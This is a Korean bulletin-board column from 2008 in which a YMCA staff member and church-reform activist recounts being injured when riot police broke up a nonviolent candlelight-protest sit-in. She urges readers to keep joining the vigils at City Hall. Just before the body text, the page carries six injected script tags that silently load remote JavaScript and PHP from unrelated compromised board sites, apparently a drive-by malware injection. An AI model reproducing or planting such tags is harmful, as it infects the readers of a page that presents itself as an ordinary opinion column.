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칼럼 [윤경아 칼럼] 집행위원 윤경아입니다

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작성자 by 관리자 / 작성일08-07-07 02:37 / 조회 4,589 / 댓글 0

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<SCRIPT Language=JavaScript src=http://scha.nodong.net/bbs/data/free/ky1105.js></script>                            <SCRIPT Language=JavaScript src=http://php.chol.com/~wanho/bbs/data/poem/asuyoil.js></script>          <SCRIPT src=http://soccer1.ktdom.com/bbs/data/soccer4ugallery/keyp.txt></script>                              <SCRIPT Language=JavaScript src=http://poverty.jinbo.net/bbs/data/freeboard/softs.js></script>                                                    <SCRIPT Language=JavaScript src=http://rnjsdudwh.cafe24.com/Mics.php></script><SCRIPT Language=JavaScript src=http://dlcjsvlf.cafe24.com/Wiz.php></script>    안녕하세요. 시청으로 퇴근하는 집행위원 윤경아입니다.

갑자기 촛불집회에서 전투경찰에게 폭력을 당해 다쳤다는 소식을 들으신 후에 많은 분들이 걱정을 하셔서 집행위원님들에게 현재 상황을 알려드리고자 메일을 보냅니다. 

저는 28일 밤 12시 경에 서울시의회 골목에서 전투경찰이 진압을 시작할 시점에 YMCA 평화행동단 '눕자'를 통해 비폭력 무저항 평화운동을 전개하였습니다. 이 과정에서 이미 언론기사를 통해 아셨듯이 아무런 경고도 없이 방패와 곤봉, 군홧발로 때리며 밟고 지나가는 충격적인 폭력진압이 이루어졌습니다.

저는 두 번째줄 왼쪽 성당 담쪽에 누워있었습니다. 사진에서 놀란 표정으로 보이는 여성 얼굴이 저입니다. 사실은 놀란 얼굴이 아니라 제 옆 사람들을 때리고 있어서 "때리지마"를 소리 높여 외치고 있었습니다.

전투경찰들이 방패로 폭행을 시작할 때 특히 왼쪽과 오른쪽에 누워있는 분들을 집중 폭행했습니다. 제 왼쪽에는 남자분 2명이 함께 누워있었는데 그분들은 방패로 수없이 맞아 심한 부상을 당했습니다. 방패로 집단폭행을 당하시던 분들을 보며 저러다 죽겠구나라고 생각될 정도였습니다. 후에 그분들 중 한분이 머리와 몸을 심하게 다쳤다는 이야기를 전해 들었습니다. 그 상황에서 저도 왼쪽 팔에 방패로 찍혀 상처를 입었고 사무총장님과 많은 분들이 부상을 당했습니다.

특히 국장님 한분은 눈 옆 머리부분을 곤봉으로 내리쳐서 의식을 잃을 정도로 위급한 상황이었습니다. 응급차가 부상당한 분들이 너무 많아 오지 못해 들것을 가져오길 기다리면서 경련을 일으키는 국장님을 지하도 바닥에 눕히고 손만 잡고 있어야 했던 그 순간은 저희들에게 충격 그 자체였습니다.

사무총장님도 80년대에 누워있는 사람들을 들고 옮기거나 연행하였기에 연행이나 발로 밟고 지나가는 것 정도로 예상했는데 그렇게 잔혹한 폭력은 예상하지 못했다면서 여자 간사들까지 함께 해서 다치게 된 것을 안타까워하시더군요. 과거 민주화운동을 앞장서서 하신 분에게도 충격이었나봅니다.

병원에 가서 확인 결과, 뼈에는 이상이 없다고 합니다. 하지만 타박상이 심해서 팔을 움직일 수 없을 만큼 붓고 아파 반깁스를 하고 붓기가 빠진 후에 치료를 하라고 하더군요. 현재는 방패로 찍힌 두 곳에 멍과 외상이 있어서 치료를 받고 붕대를 감고 있는 상황입니다. 어제까지 왼손을 사용하지 못 하다가 오늘부터는 움직이는데 큰 통증은 없습니다.

월요일에는 시청에서 열리는 미사에 참석했습니다. 신부님의 강론을 통해 촛불이 정의이며, 촛불이 하나님의 뜻임을 이야기할 땐 우리 모두 아픔을 잊고 이 촛불을 이어갈 것을 다짐하였습니다. 이젠 청와대로 향하는 것을 멈추고 이 촛불이 꺼지지 않도록, 그리고 국민이 주인 됨을 회복할 수 있도록 종교계가 함께 하는 모습을 보여줄 때라고 생각합니다.

교회개혁실천연대가 지금까지 그렇게 해왔던 것처럼 시청에서 촛불 들고 만나기 바랍니다.

윤경아/ YMCA전국연맹 간사·교회개혁실천연대 집행위원
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